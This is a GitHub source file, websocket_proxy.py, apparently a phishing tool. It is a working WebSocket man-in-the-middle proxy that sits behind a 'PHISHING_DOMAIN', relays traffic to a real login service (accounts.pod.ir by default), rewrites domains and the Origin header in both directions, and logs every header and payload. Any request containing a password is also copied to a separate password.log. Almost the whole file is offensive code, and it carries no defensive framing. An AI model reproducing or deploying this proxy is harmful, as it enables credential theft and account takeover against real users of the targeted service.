-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwebsocket_proxy.py
More file actions
165 lines (141 loc) Β· 5.73 KB
/
websocket_proxy.py
File metadata and controls
165 lines (141 loc) Β· 5.73 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import ssl
import asyncio
import websockets
import json
from datetime import datetime
from typing import Optional, Dict, Any
# Configuration
TARGET_URL = "TARGETURL"
LISTEN_HOST = "127.0.0.1"
LISTEN_PORT = 8080
SSL_CERT_FILE = "CERT_PATH"
SSL_KEY_FILE = "KEY_PATH"
LOG_FILE = "proxy.log"
PASSWORD_LOG_FILE = "password.log"
CLIENT_DOMAIN = "PHISHING_DOMAIN"
SERVER_DOMAIN = "SERVER_DOMAIN"
def setup_logging():
"""Initialize logging files with timestamp."""
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open(LOG_FILE, "a") as f:
f.write(f"\n\n=== New Session Started at {timestamp} ===\n")
with open(PASSWORD_LOG_FILE, "a") as f:
f.write(f"\n\n=== Password-related Requests - Session Started at {timestamp} ===\n")
def log_to_file(filename: str, message: str):
"""Append message to log file with timestamp."""
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open(filename, "a") as f:
f.write(f"[{timestamp}] {message}\n")
def modify_message(message: str, from_domain: str, to_domain: str) -> str:
"""Replace domain strings in the message."""
try:
if isinstance(message, str):
modified = message.replace(from_domain, to_domain)
try:
data = json.loads(modified)
return json.dumps(data)
except json.JSONDecodeError:
return modified
return message
except Exception as e:
log_to_file(LOG_FILE, f"Error modifying message: {e}")
return message
def log_request(client_ws: websockets.WebSocketServerProtocol, direction: str, message: Optional[str] = None):
"""Log detailed request information including headers and payload."""
log_entry = []
log_entry.append(f"\n{'='*50}")
log_entry.append(f"{direction.upper()} REQUEST")
log_entry.append(f"{'='*50}")
log_entry.append(f"Client: {client_ws.remote_address}")
log_entry.append(f"Path: {client_ws.path}")
log_entry.append("\nHEADERS:")
for header, value in client_ws.request_headers.items():
log_entry.append(f"{header}: {value}")
if message is not None:
log_entry.append("\nPAYLOAD:")
try:
json_data = json.loads(message)
log_entry.append(json.dumps(json_data, indent=2, ensure_ascii=False))
except json.JSONDecodeError:
log_entry.append(message)
log_entry.append(f"{'='*50}\n")
full_log = "\n".join(log_entry)
# Write to main log file
log_to_file(LOG_FILE, full_log)
# Check for password in request and write to password.log if found
if message and "password" in message.lower():
log_to_file(PASSWORD_LOG_FILE, full_log)
log_to_file(PASSWORD_LOG_FILE, ">>> PASSWORD DETECTED IN REQUEST <<<")
# Also print to console for real-time monitoring
print(full_log)
async def handler(client_ws: websockets.WebSocketServerProtocol, path: str):
"""Handle WebSocket connections by proxying to target server."""
try:
log_request(client_ws, "incoming connection")
origin = client_ws.request_headers.get("Origin", "").replace(CLIENT_DOMAIN, SERVER_DOMAIN)
user_agent = client_ws.request_headers.get("User-Agent", "Mozilla/5.0")
headers = {
"Origin": origin if origin else "https://accounts.pod.ir",
"User-Agent": user_agent
}
async with websockets.connect(
TARGET_URL,
extra_headers=headers,
ping_interval=None,
close_timeout=10
) as target_ws:
async def client_to_target():
async for message in client_ws:
modified_message = modify_message(message, CLIENT_DOMAIN, SERVER_DOMAIN)
log_request(client_ws, "client -> server (modified)", modified_message)
await target_ws.send(modified_message)
async def target_to_client():
async for message in target_ws:
modified_message = modify_message(message, SERVER_DOMAIN, CLIENT_DOMAIN)
log_request(client_ws, "server -> client (modified)", modified_message)
await client_ws.send(modified_message)
await asyncio.gather(
client_to_target(),
target_to_client(),
return_exceptions=True
)
except Exception as e:
error_msg = f"Proxy error: {e}"
log_to_file(LOG_FILE, error_msg)
print(error_msg)
finally:
close_msg = f"Connection with {client_ws.remote_address} closed"
log_to_file(LOG_FILE, close_msg)
print(close_msg)
async def main():
"""Run the WebSocket proxy server."""
setup_logging()
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile=SSL_CERT_FILE, keyfile=SSL_KEY_FILE)
startup_msg = f"""
π’ Listening on wss://{LISTEN_HOST}:{LISTEN_PORT}
π Domain replacement active:
Client β Server: '{CLIENT_DOMAIN}' β '{SERVER_DOMAIN}'
Server β Client: '{SERVER_DOMAIN}' β '{CLIENT_DOMAIN}'
π Logging all traffic to:
- {LOG_FILE}
- {PASSWORD_LOG_FILE} (for password-related requests)
"""
print(startup_msg)
log_to_file(LOG_FILE, startup_msg)
async with websockets.serve(
handler,
LISTEN_HOST,
LISTEN_PORT,
ssl=ssl_context
):
await asyncio.Future()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
log_to_file(LOG_FILE, "Proxy server stopped by user")
print("\nProxy server stopped by user")
except Exception as e:
log_to_file(LOG_FILE, f"Fatal error: {e}")
print(f"Fatal error: {e}")